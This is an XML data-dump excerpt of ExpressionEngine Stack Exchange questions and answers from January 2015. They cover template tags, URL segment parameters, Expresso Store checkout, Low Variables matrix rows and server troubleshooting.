  <row Id="28588" PostTypeId="1" CreationDate="2015-01-21T21:30:12.320" Score="2" ViewCount="321" Body="&lt;p&gt;I have a channel named Bios that has six fields of information per person. I want to dynamically generate a bootstrap modal with the selected person’s bio info when their photo is selected from a page. I see I can hard code it for a single person using entry_id but is there any way else to pull the correct data without resorting to making a template for each person and using the URL segment variables? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my first time working with ExpressionEngine for a site build. I tested it out using entry_id just to make sure I was pulling the channel fields correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modal&quot; id=&quot;bioModal&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;modal-dialog&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;modal-content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-header text-blue&quot;&amp;gt;&#xA;          &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot; aria-hidden=&quot;true&quot;&amp;gt;×&amp;lt;/button&amp;gt;&#xA;    {exp:channel:entries channel=&quot;bios&quot; entry_id=&quot;9&quot;}&#xA;          &amp;lt;img src=&quot;{bio_photo}&quot; class=&quot;bio-photo img-responsive&quot; alt=&quot;bio photo&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;bio-header&quot;&amp;gt;&#xA;            &amp;lt;h4 class=&quot;modal-title&quot;&amp;gt;{bio_name}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;h5 class=&quot;modal-title&quot;&amp;gt;{job_title}&amp;lt;/h5&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-body text-black&quot;&amp;gt;&#xA;          &amp;lt;p class=&quot;bio-details&quot;&amp;gt;{bio_details}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;        &amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&#xA;          &amp;lt;a href=&quot;#&quot; data-dismiss=&quot;modal&quot; class=&quot;btn&quot;&amp;gt;Close&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4964" LastActivityDate="2018-09-24T23:00:10.027" Title="How to display a channel entry without hard coding an entry ID?" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28589" PostTypeId="1" AcceptedAnswerId="28603" CreationDate="2015-01-21T21:48:54.523" Score="1" ViewCount="53" Body="&lt;p&gt;We've set up a template to download an .xsl file of entries in a number of specific categories (with much help in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/28558/download-to-excel-or-csv-solutions/28581&quot;&gt;this SE thread&lt;/a&gt;) - all works fine if we hardcode the category ID but if we tray to make the template dynamic by getting the category ID from the URL segment it fails (see below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to dynamically set the Category ID like this? Or any other way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:http_header &#xA;    content_disposition=&quot;attachment&quot; &#xA;    filename=&quot;myfile.xls&quot; &#xA;    content_type=&quot;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&quot;&#xA;}&#xA;&amp;lt;table&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;{exp:channel:entries channel=&quot;my channel&quot; category=&quot;{segment_3}&quot; disable=&quot;category_fields|member_data|pagination&quot;&#xA;}&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{field_one}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{field_two}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2748" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-01-22T15:27:39.823" Title="Setting a category from segment in .xls download template" Tags="|categories|segments|export|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28590" PostTypeId="2" ParentId="28588" CreationDate="2015-01-21T21:55:31.423" Score="0" Body="&lt;p&gt;If you'd like to generate a div.modal for each of the entries in your bios channel, this is approximately what you're looking for, I think:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;bios&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;div class=&quot;modal&quot; id=&quot;bioModal&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;modal-dialog&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;modal-content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-header text-blue&quot;&amp;gt;&#xA;          &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot; aria-hidden=&quot;true&quot;&amp;gt;×&amp;lt;/button&amp;gt;&#xA;           &amp;lt;img src=&quot;{bio_photo}&quot; class=&quot;bio-photo img-responsive&quot; alt=&quot;bio photo&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;bio-header&quot;&amp;gt;&#xA;            &amp;lt;h4 class=&quot;modal-title&quot;&amp;gt;{bio_name}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;h5 class=&quot;modal-title&quot;&amp;gt;{job_title}&amp;lt;/h5&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-body text-black&quot;&amp;gt;&#xA;          &amp;lt;p class=&quot;bio-details&quot;&amp;gt;{bio_details}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&#xA;          &amp;lt;a href=&quot;#&quot; data-dismiss=&quot;modal&quot; class=&quot;btn&quot;&amp;gt;Close&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;dynamic='no'&quot; prevents the exp:channel:entries loop from guessing which entry you're trying to view based on the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that's what you were getting at... follow up if not.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-01-21T21:55:31.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28591" PostTypeId="2" ParentId="28584" CreationDate="2015-01-21T23:17:43.830" Score="1" Body="&lt;p&gt;I'm not sure I understood you, but the conditional you mentioned is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if !(segment_4 ~ &quot;/^\d+$/&quot;) } the `segment_4` isn't a number{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-01-21T23:17:43.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28592" PostTypeId="2" ParentId="28583" CreationDate="2015-01-22T07:22:00.833" Score="0" Body="&lt;p&gt;According to the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#rules-my-field-name&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; the required rules should work. If they don't I'd recommend posting a bug report &lt;a href=&quot;https://support.ellislab.com/bugs/submit&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2015-01-22T07:22:00.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28593" PostTypeId="1" CreationDate="2015-01-22T09:04:40.140" Score="0" ViewCount="68" Body="&lt;p&gt;I have a fully-functioning EE site (which I didn't build) but I am migrating over to a new server, and everything is operating as it should with the exception of pages that have playa code in it.  If I remove the playa code, the page works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa 4.4.5 / EE 2.7.3 / PHP  5.3.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of code that works on the old server but not on the old:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;    name=&quot;related_insights&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;  }&#xA;  {exp:playa:children&#xA;     field=&quot;cf_hm_related_resources&quot;&#xA;     status=&quot;open&quot;&#xA;     disable=&quot;members&quot;&#xA;    }&#xA;    {lv_md_related_insights}&#xA;  {/exp:playa:children}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried deleting cache. I've tried enabling debugging.  All I get is a blank page unless I remove this snippet of code.  Any ideas?  Any ideas on what I can do to get some insight into what's happening?&lt;/p&gt;&#xA;" OwnerUserId="4967" LastEditorUserId="4967" LastEditDate="2015-01-22T23:05:35.423" LastActivityDate="2016-06-06T05:58:55.750" Title="Templates with playa returning blank pages" Tags="|playa|stash|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28594" PostTypeId="2" ParentId="28583" CreationDate="2015-01-22T09:17:25.670" Score="0" Body="&lt;p&gt;I think there is an error in your rule formatting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rules:field_1=&quot;required&quot;|field_2=&quot;required&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure that type of condition is allowed in the rules parameter&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-01-22T09:17:25.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28597" PostTypeId="2" ParentId="28583" CreationDate="2015-01-22T13:21:46.657" Score="0" Body="&lt;p&gt;The following syntax works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rules:field_1=&quot;required&quot; rules:field_2=&quot;required&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was to do with Field Pack radio buttons, which aren't validating properly.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2015-01-22T13:21:46.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28598" PostTypeId="1" AcceptedAnswerId="28618" CreationDate="2015-01-22T13:58:15.990" Score="0" ViewCount="52" Body="&lt;p&gt;I have a shop using Expresso Store where we have add to cart buttons in the site search results but as some products have modifiers we are seeing an error as follows when trying to use these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gtc6k.png&quot; alt=&quot;Modifier error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like these add to cart buttons on results pages to default to the highest value modifier. Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, I do not want to show the modifier options on the results pages, these will appear only on the actual product detail pages.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-01-23T00:44:21.630" Title="Default Expresso Store to most expensive modifier when using add to cart in search results" Tags="|expresso-store|modifiers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28599" PostTypeId="1" CreationDate="2015-01-22T14:10:25.710" Score="0" ViewCount="130" Body="&lt;p&gt;Is it possible to have a &quot;main page&quot; that pulls through a Low Variable tag pair with all the matrix rows, and then a view page to view each page with more details about that &quot;one matrix row&quot;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;franchises_for_sale&quot;}&#xA;    {field}&#xA;    &amp;lt;a href=&quot;/businesses/franchises-for-sale/{some_uri_tag_like_page_uri}&quot;&amp;gt;View this matrix row&amp;lt;/a&amp;gt;&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-06-12T07:26:59.853" Title="Low variables &amp; Matrix - Make a row act like an entry" Tags="|matrix|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28600" PostTypeId="2" ParentId="23937" CreationDate="2015-01-22T14:31:23.140" Score="1" Body="&lt;p&gt;All files in asset fields are stored in a bunch of the &lt;code&gt;exp_assets_*&lt;/code&gt; tables. You can insert/delete/update rows to make the changes you want. For instance, you can add new files to &lt;code&gt;exp_assets_files&lt;/code&gt;, and update rows in &lt;code&gt;exp_assets_entries&lt;/code&gt; and/or &lt;code&gt;exp_assets_selections&lt;/code&gt; to make the assignments to entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can &lt;code&gt;include PATH_THIRD . &quot;/assets/libraries/assets_lib.php&quot;&lt;/code&gt; and then use some of the methods in &lt;code&gt;Assets_lib()&lt;/code&gt; to handle adding to the appropriate rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you could also upload the items yourself and then force Asset to re-index the source by hitting their re-index ACT endpoint with the right data.&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-01-22T14:31:23.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28601" PostTypeId="2" ParentId="28599" CreationDate="2015-01-22T15:17:38.037" Score="0" Body="&lt;p&gt;You could use &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html#tag-parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;row_id&lt;/code&gt;&lt;/a&gt; to get to the right row. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;franchises_for_sale&quot;}&#xA;    {field}&#xA;    &amp;lt;a href=&quot;/businesses/franchises-for-sale/{row_id}&quot;&amp;gt;View this matrix row&amp;lt;/a&amp;gt;&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on the &lt;code&gt;businesses/franchises-for-sale&lt;/code&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;franchises_for_sale&quot; row_id=&quot;{segment_3}&quot;}&#xA;    {field}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want something more readable, try creating a column for a url_title (which you'd have to fill out yourself) and use &lt;code&gt;search:my_column=&quot;{segment_3}&quot;&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-01-22T15:17:38.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28602" PostTypeId="2" ParentId="27084" CreationDate="2015-01-22T15:18:26.507" Score="0" Body="&lt;p&gt;I believe with Membrr you have to pre-setup your &quot;plans&quot; in Open Gateway and so the recurring cost is &quot;set&quot;. As you noted you can run Membrr and Donations both, but those two things have to run separately. The only way I could think you might be able to do it would be set it up so after the form is submitted you use AJAX calls to submit one transaction for Membrr and one for EE Donations. That's less than ideal because you'll end up creating two charges, but I can't think of any other way.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2015-01-22T15:18:26.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28603" PostTypeId="2" ParentId="28589" CreationDate="2015-01-22T15:27:39.823" Score="2" Body="&lt;p&gt;It should work fine. You're just missing a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;&lt;/a&gt; on your &lt;code&gt;channel:entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;my channel&quot; &#xA;    category=&quot;{segment_3}&quot; &#xA;    disable=&quot;category_fields|member_data|pagination&quot; &#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-22T15:27:39.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28604" PostTypeId="1" CreationDate="2015-01-22T15:30:17.913" Score="2" ViewCount="40" Body="&lt;p&gt;This issue has been happening for quite some time on one of our projects. I haven't been able to find a clear reason for it. We have never been able to replicate it on a different server, so we know it certainly has, in part, to do with the server, but even other installs of different CMSs (like Wordpress) on the same server do not trigger this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The install is a little outdated (EE2.5.5), but I'm not sure I can convince our client to spend the time upgrading the EE install, especially if I can't say with certainty that it'd solve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens on Front-End channel forms as well as Admin Panel channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is this: If the post is very large (500 words or more) and at some point the word &quot;from&quot; is used in a textarea (wygwam OR standard EE textareas), the post will say that it has &quot;saved&quot; but in fact, the content does not get saved, and the old content persists. It appears to be a XSS prevention (server being concerned about sql injections), but as I mentioned, it only happens for EE data, and not other CMSs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A friend of mine mentioned that it could be the Apache mod_security, and I forwarded that to the Client's hosting provider, and they said that plugin isn't on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules/Extensions involved in this EE install:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Calendar&lt;/li&gt;&#xA;&lt;li&gt;Forms&lt;/li&gt;&#xA;&lt;li&gt;Low Search&lt;/li&gt;&#xA;&lt;li&gt;Low Seg2Cat&lt;/li&gt;&#xA;&lt;li&gt;Low Variables&lt;/li&gt;&#xA;&lt;li&gt;Matrix&lt;/li&gt;&#xA;&lt;li&gt;Membrr&lt;/li&gt;&#xA;&lt;li&gt;Mo'Variables&lt;/li&gt;&#xA;&lt;li&gt;NavEE&lt;/li&gt;&#xA;&lt;li&gt;P&amp;amp;T Field Pack&lt;/li&gt;&#xA;&lt;li&gt;Profile:Edit&lt;/li&gt;&#xA;&lt;li&gt;SafeCracker&lt;/li&gt;&#xA;&lt;li&gt;SEO Lite&lt;/li&gt;&#xA;&lt;li&gt;Stash&lt;/li&gt;&#xA;&lt;li&gt;Wygwam&lt;/li&gt;&#xA;&lt;li&gt;Zoo Flexible Admin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Any more information needed to help? I'm more than willing to provide information to help solve this once and for all.&lt;/p&gt;&#xA;" OwnerUserId="4971" LastActivityDate="2015-01-22T17:48:03.710" Title="Using the world &quot;From&quot; in long text fields causes data to not save" Tags="|safecracker|wygwam|profile-edit|membrr|v2.5.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28605" PostTypeId="1" AcceptedAnswerId="28622" CreationDate="2015-01-22T15:36:35.250" Score="1" ViewCount="90" Body="&lt;p&gt;My client has asked to be able to search by Expresso Store SKU on the front end of their website. Is this even possible and if not what data would I need to manipulate in Store into a common custom entry field in order to make the SKU searchable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are currently using Low Search and the Low Search Store add-on to facilitate search.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    channel=&quot;book_library|products|products_postcards&quot;&#xA;    store:price:min=&quot;0&quot;&#xA;    query=&quot;{segment_2}&quot;&#xA;    result_page=&quot;/shop/results&quot;&#xA;    limit=&quot;20&quot;&#xA;    paginate=&quot;both&quot;&#xA;    status=&quot;not closed|Pending Review|Draft&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-05-28T13:28:11.390" Title="SKU search from front end with Expresso Store" Tags="|expresso-store|search|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28606" PostTypeId="2" ParentId="28599" CreationDate="2015-01-22T15:39:11.700" Score="0" Body="&lt;p&gt;Low had the best answer (use row_id to get the right row), but I wanted to answer Third_Hyperion's question in the comments (I'm trying to get involved with answering more, and I'm new)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &quot;No Results&quot; I would consider using an If Statement prior to the matrix, comparing the row_id being provided with the number of rows in the Low Variables matrix field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {franchises_for_sale:total_rows} &amp;lt; {segment_3}}&#xA;  {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4971" LastActivityDate="2015-01-22T15:39:11.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28608" PostTypeId="1" AcceptedAnswerId="28619" CreationDate="2015-01-22T17:10:59.417" Score="0" ViewCount="53" Body="&lt;p&gt;I would like to be able to add a form within a rich text field (or wygwam) but it just renders the tag as a string instead of pre-processing it. Is there a way around this? (parse=&quot;inward&quot; doesn't work.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help would be great.&lt;/p&gt;&#xA;" OwnerUserId="4972" LastActivityDate="2015-01-23T01:04:00.427" Title="Can I use the {ext:freeform:composer} tag inside a richtext field?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28609" PostTypeId="1" AcceptedAnswerId="28611" CreationDate="2015-01-22T17:13:41.630" Score="0" ViewCount="74" Body="&lt;p&gt;Site is on a dedicated server, i want to be able to increase the max upload file size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;.zips of around 5mb are fine however i want in excess of 50mb to be uploaded. At the moment i get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This form has expired. Please refresh and try again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-01-22T17:43:05.547" Title="Increase File upload for expression engine" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28610" PostTypeId="1" AcceptedAnswerId="28617" CreationDate="2015-01-22T17:18:55.107" Score="0" ViewCount="60" Body="&lt;p&gt;Is it possible to add shipping cost on the summary checkout page? ie &lt;em&gt;after&lt;/em&gt; the user has selected shipping destination?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-01-23T00:30:42.513" Title="Exp:resso Store - add shipping cost after shipping country selected" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28611" PostTypeId="2" ParentId="28609" CreationDate="2015-01-22T17:43:05.547" Score="1" Body="&lt;p&gt;This isn't really an EE question. You would have to consult your host about increasing the max file upload size, see this old post for more information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/forums/viewthread/151764/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/151764/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2015-01-22T17:43:05.547" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28612" PostTypeId="2" ParentId="28604" CreationDate="2015-01-22T17:48:03.710" Score="1" Body="&lt;p&gt;It actually sounds like it has to do with MySQL &lt;code&gt;TEXT&lt;/code&gt; versus &lt;code&gt;LONGTEXT&lt;/code&gt;. Try changing the type for your WYGWAM fields and see if that corrects it. &lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2015-01-22T17:48:03.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28614" PostTypeId="1" AcceptedAnswerId="28691" CreationDate="2015-01-22T19:42:46.990" Score="1" ViewCount="239" Body="&lt;p&gt;I'm having trouble making an Expresso Store multi-step checkout process work via AJAX. I have the checkout steps working as individual pages, and have attempted to AJAXify the submission of each step via the following pattern of jQuery (replacing &quot;form&quot; below with the correct checkout form):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('form').on('submit', function(e) {&#xA;&#xA;e.preventDefault();&#xA;$.ajax({&#xA;    type: &quot;POST&quot;,&#xA;    url: $(this).attr('action'),&#xA;    data: $(this).serialize(),&#xA;    success: function(data) { console.log(data); }&#xA;});&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This AJAX query correctly submits the form variables of the checkout step, however the &quot;data&quot; variable returned is a JavaScript object containing all checkout variables (correctly updated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is for &quot;data&quot; to return the HTML of the next checkout step page, like what happens when pressing the &quot;Next&quot; button of the un-AJAXified form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the issue is that the AJAX above doesn't tell the server it was the Next button (with name=&quot;next&quot; attribute) pressed, and the server bases its response on which form button was pressed… but I'm how sure how I would tell the server which button was &quot;pressed&quot; via AJAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can get this working?&lt;/p&gt;&#xA;" OwnerUserId="3767" LastEditorUserId="3767" LastEditDate="2015-01-25T13:54:22.940" LastActivityDate="2015-01-28T08:10:34.310" Title="Expresso Store AJAX multi-step checkout" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28615" PostTypeId="2" ParentId="28593" CreationDate="2015-01-22T22:27:20.707" Score="0" Body="&lt;p&gt;White pages or blank pages in EE are typically caused by PHP hitting memory limits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First step is to check your PHP error logs... if the error is logged there, it'll indicate the issue. If it's memory, the solution is to increase the memory to which PHP has access in the php.ini file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another place it look is in the system/index.php file. Enable debugging in the file so you can see the error... You may need to remove the conditional code around the error reporting all together to see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information on this page in the help docs might help:&lt;br&gt;&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2015-01-22T22:27:20.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28616" PostTypeId="2" ParentId="28587" CreationDate="2015-01-22T23:33:14.637" Score="0" Body="&lt;p&gt;Why not just use the &lt;code&gt;start_from=&lt;/code&gt; tag? Would be a simpler approach than muddying up your templates with embeds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd do something like this for each section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/about-us&quot; show_depth='1' max_depth='1' has_children_class='yes' show_overview=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Configure your options for however you need the HTML markup to be on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about that here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://buildwithstructure.com/tags#tag_navigation&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/tags#tag_navigation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2015-01-22T23:33:14.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28617" PostTypeId="2" ParentId="28610" CreationDate="2015-01-23T00:30:42.513" Score="0" Body="&lt;p&gt;If you have a multi-part checkout it is as simple as putting the shipping options tag pair on any step after the user has entered their shipping details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are allowing users to sign-up for memberships and have linked the billing &amp;amp; shipping details either to custom member fields or ZooVisitor fields the users should have this repopulated on subsequent visits so it shouldnt be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something that I usually employ on the stores that I build if shipping/taxes come into play is to have a calculate tax and shipping field that is displayed in the cart summary area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once a user has added an item to their cart I would show the cart summary with an input for their shipping city &amp;amp; state. Once they fill the data you update the cart which should now get relevant shipping and tax information setup for them before they even get to the checkout pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that you need to use the &lt;code&gt;{expo:store:checkout}&lt;/code&gt; tag pair to show your cart summary with this approach since the &lt;code&gt;{exp:store:cart}&lt;/code&gt; tag &lt;strong&gt;does not&lt;/strong&gt; output form tags for performance reasons.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-23T00:30:42.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
